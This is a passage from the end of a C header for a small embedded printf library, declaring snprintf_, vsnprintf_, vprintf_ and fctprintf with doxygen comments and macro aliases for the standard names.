* \param format A string that specifies the format of the output
* \param va A value identifying a variable arguments list
* \return The number of characters that COULD have been written into the buffer, not counting the terminating
* null character. A value equal or larger than count indicates truncation. Only when the returned value
* is non-negative and less than count, the string has been completely written.
*/
#define snprintf snprintf_
#define vsnprintf vsnprintf_
int snprintf_(char* buffer, size_t count, const char* format, ...);
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va);
/**
* Tiny vprintf implementation
* \param format A string that specifies the format of the output
* \param va A value identifying a variable arguments list
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
*/
#define vprintf vprintf_
int vprintf_(const char* format, va_list va);
/**
* printf with output function
* You may use this as dynamic alternative to printf() with its fixed _putchar() output
* \param out An output function which takes one character and an argument pointer
* \param arg An argument pointer for user data passed to output function
* \param format A string that specifies the format of the output
* \return The number of characters that are sent to the output function, not counting the terminating null character
*/
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...);
#ifdef __cplusplus
}
#endif
#endif // _PRINTF_H_